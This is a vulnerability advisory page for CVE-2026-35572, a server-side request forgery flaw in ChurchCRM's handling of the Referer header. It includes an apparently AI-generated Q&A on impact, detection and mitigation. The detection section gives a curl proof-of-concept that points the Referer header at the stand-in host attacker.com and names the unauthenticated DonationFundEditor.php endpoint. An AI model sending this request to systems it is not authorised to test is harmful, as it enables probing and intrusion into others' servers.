CVE-2026-35572
SSRF Vulnerability in ChurchCRM Referer Header Allows Arbitrary Requests
Publication date: 2026-04-07
Last updated on: 2026-04-10
Assigner: GitHub, Inc.
Description
Description
CVSS Scores
EPSS Scores
| Probability: | |
| Percentile: |
Meta Information
Affected Vendors & Products
| Vendor | Product | Version / Range |
|---|---|---|
| churchcrm | churchcrm | to 6.5.3 (exc) |
Helpful Resources
Exploitability
| CWE ID | Description |
|---|---|
| CWE-918 | The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination. |
Attack-Flow Graph
AI Powered Q&A
Can you explain this vulnerability to me?
CVE-2026-35572 is a Server-Side Request Forgery (SSRF) vulnerability in ChurchCRM versions up to 6.5.2. It occurs because the application processes the HTTP Referer header without proper validation. An attacker can supply a crafted URL in this header, causing the server to make an outbound HTTP or HTTPS request to an attacker-controlled domain.
This vulnerability can be triggered without authentication if the targeted route is accessible, such as the DonationFundEditor.php endpoint. The root cause is that the server uses untrusted user-supplied headers to initiate server-side fetches without strict validation, allow-listing, or protections against unauthorized requests.
How can this vulnerability impact me? :
The SSRF vulnerability can lead to several impacts including unauthorized access to internal services that are normally inaccessible from outside the network.
It can expose sensitive internal data by making the server act as a proxy to internal resources.
Attackers may use the server to scan internal networks or launch chained attacks, potentially affecting the integrity or availability of services due to unintended requests or amplification.
How can this vulnerability be detected on my network or system? Can you suggest some commands?
This SSRF vulnerability can be detected by monitoring for outbound HTTP/HTTPS requests initiated by the server to unexpected or attacker-controlled domains, especially those triggered by requests containing a crafted Referer header.
A proof of concept involves sending a request to the DonationFundEditor.php endpoint with a Referer header pointing to an attacker-controlled URL and observing if the server makes an outbound request to that URL.
- Use network monitoring tools or logs to detect outbound requests to unusual or external domains that correlate with incoming requests containing suspicious Referer headers.
- Example command to test the vulnerability by sending a crafted HTTP request with a malicious Referer header (replace attacker.com with your controlled domain):
- curl -v -H "Referer: http://attacker.com" https://your-churchcrm-domain/DonationFundEditor.php
- Monitor outbound traffic or logs for any HTTP/HTTPS requests to attacker.com triggered by the above request.
How does this vulnerability affect compliance with common standards and regulations (like GDPR, HIPAA)?:
The SSRF vulnerability in ChurchCRM allows an attacker to make the server perform unauthorized outbound requests to attacker-controlled domains. This can lead to unauthorized access to internal services and exposure of sensitive internal data.
Such unauthorized data exposure and potential access to internal systems could negatively impact compliance with data protection regulations like GDPR and HIPAA, which require safeguarding sensitive personal and health information against unauthorized access and disclosure.
Therefore, if exploited, this vulnerability could result in violations of confidentiality and data protection requirements mandated by these standards.
What immediate steps should I take to mitigate this vulnerability?
Immediate mitigation steps include upgrading ChurchCRM to version 6.5.3 or later, where this vulnerability is fixed.
Additional recommended mitigations are:
- Implement allow-lists for permitted URL schemes, hosts, and ports to prevent the server from making requests to unauthorized destinations.
- Enforce HTTPS-only schemes for outbound requests.
- Prevent requests to IP literals or hostnames resolving to private, loopback, or link-local addresses.
- Use DNS pinning or resolve-then-connect strategies to prevent DNS rebinding attacks.
- Avoid fetching URLs derived from untrusted headers such as the Referer header.
- Apply network-level controls such as egress filtering and firewall rules to block access to internal address ranges and metadata endpoints.
- Harden servers to protect services bound to loopback interfaces.